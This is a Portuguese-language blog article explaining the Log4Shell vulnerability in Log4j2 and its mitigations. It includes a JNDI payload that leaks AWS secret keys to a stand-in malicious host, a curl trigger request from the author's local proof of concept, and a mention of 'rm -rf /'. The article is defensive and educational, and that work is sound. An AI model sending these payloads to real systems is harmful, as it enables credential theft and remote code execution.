No dia 09/12/2021 tornou-se pública a vulnerabilidade de segurança apelidada de Log4Shell e que foi encontrada na biblioteca Log4j2, amplamente utilizada em todo o mundo. Tal vulnerabilidade registrada como CVE-2021-44228 recebeu nota 10 de criticidade face facilidade de exploração e risco gerado uma vez que permite a execução de código remoto (RCE - Remote code execution). Através da execução de código remoto o atacante pode, por exemplo, executar comandos na linha de comando do S.O. que executa a aplicação, dai o nome Log4Shell.
Se a aplicação estiver executando com usuário de administrador do sistema (root) o atacante possuirá privilégios de administrador. Por isso a importância de executar aplicações com privilégios limitados.
Com acesso a linha de comando do S.O. o atacante pode fazer o que desejar, desde instalar ransomwares e mineradores de criptomoedas a roubar dados e credenciais de acesso e etc.
A anatomia da vulnerabilidade
Graças a funcionalidade de Lookups do Log4j2 e de JNDI do Java é possível fazer com que uma aplicação vulnerável realize requisições expondo informações sensíveis ou baixe e execute código de um servidor remoto.
A funcionalidade de Lookups faz a substituição de strings "especiais" antes de logar as mesmas. Tais strings possuem o formato ${name}
onde name pode ser muitas coisas (conforme documentação oficial entre elas JNDI. No caso de uma string JNDI para resolver (substituir) o valor a ser logado o Log4j2 faz uma requisição a um servidor remoto, sendo ai que mora o perigo. O resultado dessa requisição pode ser código malicioso que será executado pela aplicação vulnerável.
Para explorar a vulnerabilidade o atacante precisa fazer com que uma string maliciosa seja logada pelo Log4j2.
Obtendo informações sensíveis
Um exemplo do uso da funcionalidade de Lookups seria logar a string ${env:JAVA_HOME}
que resultaria com o valor da variável de ambiente JAVA_HOME sendo logada, comum em sistemas que executam aplicações Java. Combinando isso com JNDI o atacante poderia tentar enviar a string abaixo para uma aplicação vulnerável:
${jndi:ldap://x${env:AWS_SECRET_ACCESS_KEY}-${env:AWS_ACCESS_KEY_ID}.servidor-malicioso.com/a}
Resultando em uma requisição LDAP via JNDI ao servidor-malicioso.com onde ${env:AWS_SECRET_ACCESS_KEY}
e ${env:AWS_ACCESS_KEY_ID}
seriam substituídos por informações sensíveis, nesse caso o secret access key e o access key id da AWS. A informação vazada poderia ser qualquer coisa, como o sistema operacional ${java:os}
, a versão do java ${java:version}
ou qualquer outra coisa. Aqui a criatividade e paciência do atacante impera na busca de informações sensíveis.
A figura abaixo representa o fluxo de um ataque que visa a obtenção de informações sensíveis:
Ao logar as requisições recebidas o atacante saberá que recebeu a requisição jndi:ldap://wJalrXUtnFEMI.servidor-malicioso.com/a
da aplicação-vulneravel.com
onde wJalrXUtnFEMI
é a informação buscada.
Para o exemplo apresentado consideramos que a aplicação vulnerável loga o valor contido no cabeçalho User-Agent
das requisições recebidas, possibilitando a exploração da vulnerabilidade.
Executando código remoto
O ataque visando a execução de código remoto segue a mesma linha do que visa a obtenção de informações sensíveis, nesse caso, no entanto, o servidor LDAP ao receber uma requisição devolve uma classe Java com código malicioso que será executado pela aplicação vulnerável.
Como dito no início do artigo com a habilidade de executar código no servidor vulnerável o atacante pode, entre outras coisas:
- Instalar ransomwares e mineradores de criptomoedas;
- Roubar dados e informações sensíveis;
- Criar e executar arquivos
- Deletar diretórios
- Etc
As possibilidades são infinitas a depender do privilégio do usuário do S.O. que executou a aplicação.
A imagem abaixo demonstra uma PoC que criei em meu computador pessoal onde é injetado em uma aplicação vulnerável código malicioso que abre uma conexão socket e fica esperando requisições com comandos a serem executados na linha de comando do S.O. da aplicação.
Conforme é possível visualizar na imagem não há sucesso na primeira tentativa de executar o comando dir
uma vez que o exploit ainda não foi realizado. No entanto, após realizar a requisição com string maliciosa curl -X GET -H "User-Agent: ${jndi:ldap://127.0.0.1:1389/a}" localhost:8080/log4j2
que ativa o exploit, a segunda tentativa ocorre com sucesso. No exemplo foi executado um comando que não causa dano algum, no entanto poderia ser algo como rm -rf /
.
A aplicação foi propositalmente criada para ser vulnerável para fins de testes. Na imagem é possível observar que a aplicação loga o valor contido em User-Agent
Quem é afetado pela vulnerabilidade
Aplicações que possuem e utilizam o log4j2 para logar informações vindas de fora da aplicação (input de dados) podem está vulneráveis caso não façam o tratamento adequado de tais informações (CWE-20 - Improper Input Validation). A princípio as versões afetadas iam de 2.0-beta9 até 2.14.1.
No entanto após liberação da versão 2.15.0 que tinha como objetivo a resolução do problema outras vulnerabilidades relacionadas foram encontradas. O time da apache responsável por manter o Log4j2 vem atuando diariamente na resolução das vulnerabilidades detectadas.
Como se proteger"
Manter as dependências da sua aplicação e do seu ambiente (versão do java) atualizados é a melhor forma de se proteger. As versões mais recentes que visam a resolução do problema são:
- 2.17.1 (Java 8)
- 2.12.4 (Java 7)
- 2.3.2 (Java 6)
No entanto isso nem sempre é possível. A página de segurança do Log4j2 detalha uma lista de ações que podem ser tomadas para mitigar a vulnerabilidade. Além das ações citadas outras podem mitigar ou atenuar o problema:
- Limitar o tráfego de saída: Se a aplicação vulnerável não puder realizar requisições para hosts desconhecidos não há como expor dados sensíveis ou baixar e executar código malicioso. Desta forma, se você limitar o trafego de saída para hosts conhecidos e confiáveis sua aplicação/servidor estará protegida.
- O uso de um WAF (Web Application Firewall) irá atenuar o problema uma vez que regras no firewall podem bloquear requisições maliciosas analisando se consta na requisição uma string maliciosa.
Considerações finais
A ideia de escrever esse artigo surgiu no dia em que a vulnerabilidade foi divulgada, no entanto considerei prudente aguardar um pouco afim de que o mesmo não seja usado de forma indevida.
Delimitei como objetivo demostrar como é simples explorar a vulnerabilidade e o risco da mesma, afim de alertar que ações devem ser tomadas para atenuar e se possível mitigar o problema.
A PoC citada no artigo ficou plenamente funcional na madrugada no dia 16/12, conforme postado na tarde do mesmo dia no twitter.
Em nenhum momento divulguei e nem irei divulgar o código utilizado. Tão pouco irei ensinar a de fato explorar a vulnerabilidade.
Espero, sinceramente, que as informações aqui passadas sejam utilizadas para o bem.
Top comments (0)